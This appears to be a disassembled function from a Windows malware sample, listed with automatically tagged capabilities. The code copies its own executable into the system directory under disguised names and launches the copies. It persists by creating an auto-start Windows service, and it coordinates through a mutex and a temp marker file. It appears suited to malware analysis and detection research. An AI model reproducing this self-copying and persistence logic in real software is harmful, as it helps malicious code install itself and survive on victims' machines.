Function at 0x404e97
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create process on windows
Create service
Delete file
Get common file path
Persist via windows service
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x830
push ebx
push esi
push edi
mov dword [ebp - 0x440], 0
cmp dword [ebp - 0x440], 0
je 0x404eb6
mov dword [ebp - 0x444], 0
cmp dword [ebp - 0x444], 0
je 0x404ec9
mov dword [ebp - 0x448], 0
cmp dword [ebp - 0x448], 0
je 0x404edc
mov dword [ebp - 0x44c], 0
cmp dword [ebp - 0x44c], 0
je 0x404eef
mov dword [ebp - 0x450], 0
cmp dword [ebp - 0x450], 0
je 0x404f02
mov dword [ebp - 0x454], 0
cmp dword [ebp - 0x454], 0
je 0x404f15
mov dword [ebp - 0x458], 0
cmp dword [ebp - 0x458], 0
je 0x404f28
mov dword [ebp - 0x45c], 0
cmp dword [ebp - 0x45c], 0
je 0x404f3b
mov dword [ebp - 0x460], 0
cmp dword [ebp - 0x460], 0
je 0x404f4e
mov dword [ebp - 0x464], 0
cmp dword [ebp - 0x464], 0
je 0x404f61
mov dword [ebp - 0x468], 0
cmp dword [ebp - 0x468], 0
je 0x404f74
mov dword [ebp - 0x46c], 0
cmp dword [ebp - 0x46c], 0
je 0x404f87
mov dword [ebp - 0x470], 0
cmp dword [ebp - 0x470], 0
je 0x404f9a
mov dword [ebp - 0x474], 0
cmp dword [ebp - 0x474], 0
je 0x404fad
mov dword [ebp - 0x478], 0
cmp dword [ebp - 0x478], 0
je 0x404fc0
mov dword [ebp - 0x47c], 0
cmp dword [ebp - 0x47c], 0
je 0x404fd3
mov dword [ebp - 0x480], 0
cmp dword [ebp - 0x480], 0
je 0x404fe6
mov dword [ebp - 0x484], 0
cmp dword [ebp - 0x484], 0
je 0x404ff9
mov dword [ebp - 0x488], 0
cmp dword [ebp - 0x488], 0
je 0x40500c
mov dword [ebp - 0x48c], 0
cmp dword [ebp - 0x48c], 0
je 0x40501f
mov dword [ebp - 0x490], 0
cmp dword [ebp - 0x490], 0
je 0x405032
mov dword [ebp - 0x494], 0
cmp dword [ebp - 0x494], 0
je 0x405045
mov dword [ebp - 0x498], 0
cmp dword [ebp - 0x498], 0
je 0x405058
mov dword [ebp - 0x49c], 0
cmp dword [ebp - 0x49c], 0
je 0x40506b
mov dword [ebp - 0x4a0], 0
cmp dword [ebp - 0x4a0], 0
je 0x40507e
mov dword [ebp - 0x4a4], 0
cmp dword [ebp - 0x4a4], 0
je 0x405091
mov dword [ebp - 0x4a8], 0
cmp dword [ebp - 0x4a8], 0
je 0x4050a4
mov dword [ebp - 0x4ac], 0
cmp dword [ebp - 0x4ac], 0
je 0x4050b7
mov dword [ebp - 0x4b0], 0
cmp dword [ebp - 0x4b0], 0
je 0x4050ca
mov dword [ebp - 0x4b4], 0
cmp dword [ebp - 0x4b4], 0
je 0x4050dd
mov dword [ebp - 0x4b8], 0
cmp dword [ebp - 0x4b8], 0
je 0x4050f0
mov dword [ebp - 0x4bc], 0
cmp dword [ebp - 0x4bc], 0
je 0x405103
mov dword [ebp - 0x4c0], 0
cmp dword [ebp - 0x4c0], 0
je 0x405116
mov dword [ebp - 0x4c4], 0
cmp dword [ebp - 0x4c4], 0
je 0x405129
mov dword [ebp - 0x4c8], 0
cmp dword [ebp - 0x4c8], 0
je 0x40513c
mov dword [ebp - 0x4cc], 0
cmp dword [ebp - 0x4cc], 0
je 0x40514f
mov dword [ebp - 0x4d0], 0
cmp dword [ebp - 0x4d0], 0
je 0x405162
mov dword [ebp - 0x4d4], 0
cmp dword [ebp - 0x4d4], 0
je 0x405175
mov dword [ebp - 0x4d8], 0
cmp dword [ebp - 0x4d8], 0
je 0x405188
mov dword [ebp - 0x4dc], 0
cmp dword [ebp - 0x4dc], 0
je 0x40519b
mov dword [ebp - 0x4e0], 0
cmp dword [ebp - 0x4e0], 0
je 0x4051ae
mov dword [ebp - 0x4e4], 0
cmp dword [ebp - 0x4e4], 0
je 0x4051c1
mov dword [ebp - 0x4e8], 0
cmp dword [ebp - 0x4e8], 0
je 0x4051d4
mov dword [ebp - 0x4ec], 0
cmp dword [ebp - 0x4ec], 0
je 0x4051e7
mov dword [ebp - 0x4f0], 0
cmp dword [ebp - 0x4f0], 0
je 0x4051fa
mov dword [ebp - 0x4f4], 0
cmp dword [ebp - 0x4f4], 0
je 0x40520d
mov dword [ebp - 0x4f8], 0
cmp dword [ebp - 0x4f8], 0
je 0x405220
mov dword [ebp - 0x4fc], 0
cmp dword [ebp - 0x4fc], 0
je 0x405233
mov dword [ebp - 0x500], 0
cmp dword [ebp - 0x500], 0
je 0x405246
mov dword [ebp - 0x504], 0
cmp dword [ebp - 0x504], 0
je 0x405259
mov dword [ebp - 0x508], 0
cmp dword [ebp - 0x508], 0
je 0x40526c
mov dword [ebp - 0x50c], 0
cmp dword [ebp - 0x50c], 0
je 0x40527f
mov dword [ebp - 0x510], 0
cmp dword [ebp - 0x510], 0
je 0x405292
mov dword [ebp - 0x514], 0
cmp dword [ebp - 0x514], 0
je 0x4052a5
mov dword [ebp - 0x518], 0
cmp dword [ebp - 0x518], 0
je 0x4052b8
mov dword [ebp - 0x51c], 0
cmp dword [ebp - 0x51c], 0
je 0x4052cb
mov dword [ebp - 0x520], 0
cmp dword [ebp - 0x520], 0
je 0x4052de
mov dword [ebp - 0x524], 0
cmp dword [ebp - 0x524], 0
je 0x4052f1
mov dword [ebp - 0x434], 1
mov dword [ebp - 0x438], 1
push 0xff
lea edi, [ebp - 0x326]
push edi
call sub.KERNEL32.DLL_GetSystemDirectoryA
push 0x40f80a
lea edi, [ebp - 0x326]
push edi
call sub.CRTDLL.DLL_strcat
add esp, 8
push 0xff
lea edi, [ebp - 0x326]
push edi
call fcn.0040185e
add esp, 8
lea edi, [ebp - 0x326]
push edi
push 0x4077e4
call sub.KERNEL32.DLL_lstrcpyA
push str.m2syadll.dll
push 0x4077e4
call sub.KERNEL32.DLL_lstrcatA
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov edi, eax
push 0xff
lea esi, [ebp - 0x227]
push esi
push edi
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0xff
lea edi, [ebp - 0x227]
push edi
call fcn.0040185e
add esp, 8
push 0xa
lea edi, [ebp - 0x42f]
push edi
call sub.KERNEL32.DLL_RtlZeroMemory
push 1
lea edi, [ebp - 0x227]
push edi
lea edi, [ebp - 0x18]
push edi
call fcn.00405a88
add esp, 0xc
mov dword [ebp - 0x1c], 0
jmp 0x4054c7
inc dword [ebp - 0x1c]
movsx ebx, byte [ebp - 0xc]
cmp ebx, 2
jl 0x4054c7
cmp ebx, 0xd
jg 0x4054c7
jmp dword [ebx*4 + 0x40f798]
lea edi, [ebp - 0x18]
push edi
call fcn.00405c12
add esp, 4
cmp eax, 0
je 0x4054e2
cmp dword [ebp - 0x1c], 0x64
jl 0x4053bc
lea edi, [ebp - 0x18]
push edi
call fcn.00405b89
add esp, 4
lea edi, [ebp - 0x326]
push edi
lea edi, [ebp - 0x11b]
push edi
call sub.KERNEL32.DLL_lstrcpyA
lea edi, [ebp - 0x227]
push edi
call fcn.004021e8
add esp, 4
push eax
lea edi, [ebp - 0x11b]
push edi
call sub.KERNEL32.DLL_lstrcatA
lea edi, [ebp - 0x227]
push edi
lea edi, [ebp - 0x11b]
push edi
call sub.CRTDLL.DLL_strcmp
add esp, 8
cmp eax, 0
je 0x405732
mov dword [0x40c800], 0
cmp dword [ebp - 0x43c], 0
je 0x405636
push 1
lea edi, [ebp - 0x227]
push edi
lea edi, [ebp - 0x18]
push edi
call fcn.00405a88
add esp, 0xc
mov dword [ebp - 0x62c], 0
jmp 0x405618
inc dword [ebp - 0x62c]
movsx ebx, byte [ebp - 0xc]
cmp ebx, 5
je 0x40558b
jmp 0x405618
lea edi, [ebp - 0x18]
push edi
call fcn.00405c99
add esp, 4
mov dword [ebp - 0x43c], eax
lea edi, [ebp - 0x326]
push edi
lea edi, [ebp - 0x72b]
push edi
call sub.KERNEL32.DLL_lstrcpyA
push str.newfile
lea edi, [ebp - 0x72b]
push edi
call sub.KERNEL32.DLL_lstrcatA
lea edi, [ebp - 0x42f]
push edi
lea edi, [ebp - 0x72b]
push edi
call sub.KERNEL32.DLL_lstrcatA
push 2
push 0x40000000
lea edi, [ebp - 0x72b]
push edi
lea edi, [ebp - 0x128]
push edi
call fcn.00401341
add esp, 0x10
push dword [ebp - 0x43c]
push dword [ebp - 8]
lea edi, [ebp - 0x128]
push edi
call fcn.00401392
add esp, 0xc
lea edi, [ebp - 0x128]
push edi
call fcn.004013f9
add esp, 4
lea edi, [ebp - 0x18]
push edi
call fcn.00405c12
add esp, 4
cmp eax, 0
je 0x405636
cmp dword [ebp - 0x62c], 0x64
jl 0x405577
lea edi, [ebp - 0x425]
push edi
call fcn.004025c2
add esp, 4
lea edi, [ebp - 0x425]
push edi
lea edi, [ebp - 0x623]
push edi
call fcn.0040396b
add esp, 8
lea edi, [ebp - 0x11b]
push edi
push 0xff
call sub.KERNEL32.DLL_GetTempPathA
push str.firstrunmagic.txt
lea edi, [ebp - 0x11b]
push edi
call sub.KERNEL32.DLL_lstrcatA
push 2
push 0x40000000
lea edi, [ebp - 0x11b]
push edi
lea edi, [ebp - 0x128]
push edi
call fcn.00401341
add esp, 0x10
push 0xff
lea edi, [ebp - 0x227]
push edi
lea edi, [ebp - 0x128]
push edi
call fcn.00401392
add esp, 0xc
push 0x14
lea edi, [ebp - 0x425]
push edi
lea edi, [ebp - 0x128]
push edi
call fcn.00401392
add esp, 0xc
lea edi, [ebp - 0x128]
push edi
call fcn.004013f9
add esp, 4
lea edi, [ebp - 0x326]
push edi
lea edi, [ebp - 0x11b]
push edi
call sub.KERNEL32.DLL_lstrcpyA
lea edi, [ebp - 0x425]
push edi
lea edi, [ebp - 0x11b]
push edi
call sub.KERNEL32.DLL_lstrcatA
push 0
lea edi, [ebp - 0x11b]
push edi
lea edi, [ebp - 0x227]
push edi
call sub.KERNEL32.DLL_CopyFileA
push 0xa
push 0
push 0
lea edi, [ebp - 0x11b]
push edi
push 0
push 0
call sub.SHELL32.DLL_ShellExecuteA
jmp 0x405a7b
mov dword [0x40c800], 1
call fcn.00401818
mov dword [ebp - 0x62c], eax
cmp dword [ebp - 0x62c], 0
je 0x405870
push str.magiclink_nt_run
push 0
push 0
call sub.KERNEL32.DLL_CreateMutexA
mov dword [ebp - 0x630], eax
cmp dword [ebp - 0x630], 0
je 0x405781
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0xb7
jne 0x40583c
push 0x40f7d0
lea edi, [ebp - 0x11b]
push edi
call sub.KERNEL32.DLL_lstrcpyA
lea edi, [ebp - 0x326]
push edi
lea edi, [ebp - 0x11b]
push edi
call sub.KERNEL32.DLL_lstrcatA
lea edi, [ebp - 0x425]
push edi
lea edi, [ebp - 0x11b]
push edi
call sub.KERNEL32.DLL_lstrcatA
push 0x40f7d0
lea edi, [ebp - 0x11b]
push edi
call sub.KERNEL32.DLL_lstrcatA
push 0xf003f
push 0
push 0
call sub.ADVAPI32.DLL_OpenSCManagerA
mov dword [ebp - 0x634], eax
push 0
push 0
push 0
push 0
push 0
lea edi, [ebp - 0x11b]
push edi
push 0
push 2
push 0x110
push 0xe00f01ff
lea edi, [ebp - 0x623]
push edi
lea edi, [ebp - 0x623]
push edi
push dword [ebp - 0x634]
call sub.ADVAPI32.DLL_CreateServiceA
mov dword [ebp - 0x638], eax
cmp dword [ebp - 0x638], 0
je 0x40582f
push dword [ebp - 0x638]
call sub.ADVAPI32.DLL_CloseServiceHandle
push dword [ebp - 0x634]
call sub.ADVAPI32.DLL_CloseServiceHandle
jmp 0x405888
push 0xa
push 0
push 0
lea edi, [ebp - 0x227]
push edi
push 0
push 0
call sub.SHELL32.DLL_ShellExecuteA
push 0xfa0
call sub.KERNEL32.DLL_Sleep
push 1
call sub.CRTDLL.DLL_exit
add esp, 4
mov eax, 0
jmp 0x405a80
lea edi, [ebp - 0x425]
push edi
lea edi, [ebp - 0x623]
push edi
push 1
call fcn.00401413
add esp, 0xc
lea edi, [ebp - 0x11b]
push edi
push 0xff
call sub.KERNEL32.DLL_GetTempPathA
push str.firstrunmagic.txt
lea edi, [ebp - 0x11b]
push edi
call sub.CRTDLL.DLL_strcat
add esp, 8
push 3
push 0x80000000
lea edi, [ebp - 0x11b]
push edi
lea edi, [ebp - 0x128]
push edi
call fcn.00401341
add esp, 0x10
cmp dword [ebp - 0x120], 0
je 0x405a18
lea edi, [ebp - 0x326]
push edi
lea edi, [ebp - 0x72b]
push edi
call sub.KERNEL32.DLL_lstrcpyA
push str.newfile
lea edi, [ebp - 0x72b]
push edi
call sub.KERNEL32.DLL_lstrcatA
lea edi, [ebp - 0x42f]
push edi
lea edi, [ebp - 0x72b]
push edi
call sub.KERNEL32.DLL_lstrcatA
cmp dword [ebp - 0x438], 0
jne 0x40593f
cmp dword [ebp - 0x43c], 0
je 0x405a18
push 0xa
push 0
push 0
lea edi, [ebp - 0x72b]
push edi
push 0
push 0
call sub.SHELL32.DLL_ShellExecuteA
jmp 0x405a18
push 0xff
lea edi, [ebp - 0x11b]
push edi
lea edi, [ebp - 0x128]
push edi
call fcn.004013b9
add esp, 0xc
lea edi, [ebp - 0x11b]
push edi
call sub.KERNEL32.DLL_DeleteFileA
cmp dword [ebp - 0x43c], 0
je 0x405a18
lea edi, [ebp - 0x11b]
push edi
lea edi, [ebp - 0x82f]
push edi
call sub.KERNEL32.DLL_lstrcpyA
lea edi, [ebp - 0x82f]
mov dword [ebp - 0x730], edi
mov edi, dword [ebp - 0x730]
add edi, 1
mov dword [ebp - 0x730], edi
cmp byte [edi], 0
jne 0x405992
jmp 0x4059be
mov edi, dword [ebp - 0x730]
cmp byte [edi], 0x2e
jne 0x4059be
mov edi, dword [ebp - 0x730]
mov byte [edi], 0
jmp 0x4059d7
mov edi, dword [ebp - 0x730]
add edi, 0xffffffff
mov dword [ebp - 0x730], edi
lea esi, [ebp - 0x82f]
cmp edi, esi
jne 0x4059a8
lea edi, [ebp - 0x42f]
push edi
lea edi, [ebp - 0x82f]
push edi
call sub.CRTDLL.DLL_strcat
add esp, 8
push 0
lea edi, [ebp - 0x82f]
push edi
lea edi, [ebp - 0x72b]
push edi
call sub.KERNEL32.DLL_CopyFileA
push 0xa
push 0
push 0
lea edi, [ebp - 0x82f]
push edi
push 0
push 0
call sub.SHELL32.DLL_ShellExecuteA
lea edi, [ebp - 0x128]
push edi
call fcn.004013f9
add esp, 4
lea edi, [ebp - 0x11b]
push edi
push 0xff
call sub.KERNEL32.DLL_GetTempPathA
push str.firstrunmagic.txt
lea edi, [ebp - 0x11b]
push edi
call sub.KERNEL32.DLL_lstrcatA
lea edi, [ebp - 0x11b]
push edi
call sub.KERNEL32.DLL_DeleteFileA
cmp dword [ebp - 0x434], 1
jne 0x405a76
call fcn.00401818
cmp eax, 0
je 0x405a6f
call fcn.004041a4
jmp 0x405a7b
call fcn.00404a62
jmp 0x405a7b
call fcn.00403d9d
mov eax, 0
pop edi
pop esi
pop ebx
leave
ret 0x10